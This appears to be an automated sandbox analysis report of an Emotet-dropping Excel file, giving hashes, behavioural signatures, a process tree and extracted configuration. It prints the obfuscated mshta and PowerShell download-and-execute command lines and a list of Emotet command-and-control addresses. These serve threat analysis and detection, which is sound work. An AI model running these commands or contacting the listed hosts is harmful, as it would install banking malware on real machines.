emotet | 200e8c9ae00a3203aec36692f6a0a308dcc54d4b197115c599c678ebfaee3c18

Analysis

max time kernel
118s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
19/01/2022, 18:02

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General

Target
898f8d42ad1155cf3f7c06028c3f6cc1.xls
Size 141KB
Sample220119-wmf49acbbj
SHA256 200e8c9ae00a3203aec36692f6a0a308dcc54d4b197115c599c678ebfaee3c18
MD5 898f8d42ad1155cf3f7c06028c3f6cc1
SHA1 27a325fa829b6ce5086a245b63b82c82c914f1ef
SHA512 bc243ee4cbc2aba17148fc93d96f64b6eaa09b4db71e68883123d35be097af0de453dd14d87476bc144a3333e7ca1584d94112d84125e872e23ffd279bb6e585
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1888	3856	cmd.exe	50

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2932 created 1916	2932	WerFault.exe	59

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
31	1916	mshta.exe
32	696	powershell.exe
34	696	powershell.exe
36	696	powershell.exe
53	3548	rundll32.exe
55	3548	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
3156	rundll32.exe
1480	rundll32.exe
564	rundll32.exe
3548	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Ykepvagixbd\mnrbytld.ies	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3632	1916	WerFault.exe	59

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3856	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
696	powershell.exe
696	powershell.exe
3632	WerFault.exe
3632	WerFault.exe
3548	rundll32.exe
3548	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	696	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3856	EXCEL.EXE
3856	EXCEL.EXE
3856	EXCEL.EXE
3856	EXCEL.EXE
3856	EXCEL.EXE
3856	EXCEL.EXE
3856	EXCEL.EXE
3856	EXCEL.EXE
3856	EXCEL.EXE
3856	EXCEL.EXE
3856	EXCEL.EXE
3856	EXCEL.EXE
3856	EXCEL.EXE
3856	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3856 wrote to memory of 1904	3856	EXCEL.EXE	55
PID 3856 wrote to memory of 1904	3856	EXCEL.EXE	55
PID 3856 wrote to memory of 1888	3856	EXCEL.EXE	57
PID 3856 wrote to memory of 1888	3856	EXCEL.EXE	57
PID 1888 wrote to memory of 1916	1888	cmd.exe	59
PID 1888 wrote to memory of 1916	1888	cmd.exe	59
PID 1916 wrote to memory of 696	1916	mshta.exe	62
PID 1916 wrote to memory of 696	1916	mshta.exe	62
PID 2932 wrote to memory of 1916	2932	WerFault.exe	59
PID 2932 wrote to memory of 1916	2932	WerFault.exe	59
PID 696 wrote to memory of 3356	696	powershell.exe	71
PID 696 wrote to memory of 3356	696	powershell.exe	71
PID 3356 wrote to memory of 3156	3356	cmd.exe	72
PID 3356 wrote to memory of 3156	3356	cmd.exe	72
PID 3356 wrote to memory of 3156	3356	cmd.exe	72
PID 3156 wrote to memory of 1480	3156	rundll32.exe	74
PID 3156 wrote to memory of 1480	3156	rundll32.exe	74
PID 3156 wrote to memory of 1480	3156	rundll32.exe	74
PID 1480 wrote to memory of 564	1480	rundll32.exe	75
PID 1480 wrote to memory of 564	1480	rundll32.exe	75
PID 1480 wrote to memory of 564	1480	rundll32.exe	75
PID 564 wrote to memory of 3548	564	rundll32.exe	76
PID 564 wrote to memory of 3548	564	rundll32.exe	76
PID 564 wrote to memory of 3548	564	rundll32.exe	76

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\898f8d42ad1155cf3f7c06028c3f6cc1.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3856
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1904
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:696
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3356
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3156
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1480
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ykepvagixbd\mnrbytld.ies",gMYVMdaVjz
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:564
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ykepvagixbd\mnrbytld.ies",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3548
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1916 -s 1712
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:2664

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 1916 -ip 1916
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:2932

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/696-172-0x0000028D2A126000-0x0000028D2A128000-memory.dmp

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memory/696-190-0x0000028D2A6E0000-0x0000028D2A756000-memory.dmp

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memory/696-166-0x0000028D2A0F0000-0x0000028D2A112000-memory.dmp

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memory/696-169-0x0000028D2A2A0000-0x0000028D2A2E4000-memory.dmp

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memory/696-170-0x0000028D2A120000-0x0000028D2A122000-memory.dmp

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memory/696-171-0x0000028D2A123000-0x0000028D2A125000-memory.dmp

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memory/1480-193-0x0000000004E80000-0x0000000004EA6000-memory.dmp

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memory/1480-191-0x0000000004DA0000-0x0000000004DC6000-memory.dmp

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memory/1480-200-0x0000000005170000-0x0000000005196000-memory.dmp

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memory/1480-197-0x0000000004FF0000-0x0000000005016000-memory.dmp

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memory/1480-188-0x0000000002DF0000-0x0000000002E16000-memory.dmp

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memory/1480-195-0x0000000004F90000-0x0000000004FB6000-memory.dmp

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memory/3548-219-0x0000000004F70000-0x0000000004F96000-memory.dmp

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memory/3548-207-0x0000000004A30000-0x0000000004A56000-memory.dmp

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memory/3548-221-0x0000000005160000-0x0000000005186000-memory.dmp

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memory/3548-215-0x0000000004D60000-0x0000000004D86000-memory.dmp

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memory/3548-213-0x0000000004C50000-0x0000000004C76000-memory.dmp

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memory/3548-211-0x0000000004B70000-0x0000000004B96000-memory.dmp

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memory/3548-209-0x0000000004B10000-0x0000000004B36000-memory.dmp

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memory/3548-205-0x0000000000CC0000-0x0000000000CE6000-memory.dmp

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memory/3856-137-0x00007FFB374C0000-0x00007FFB374D0000-memory.dmp

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memory/3856-131-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

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memory/3856-130-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

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memory/3856-132-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

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memory/3856-134-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

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memory/3856-138-0x00007FFB374C0000-0x00007FFB374D0000-memory.dmp

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memory/3856-133-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

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memory/3856-241-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

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memory/3856-242-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

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memory/3856-243-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

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memory/3856-244-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp

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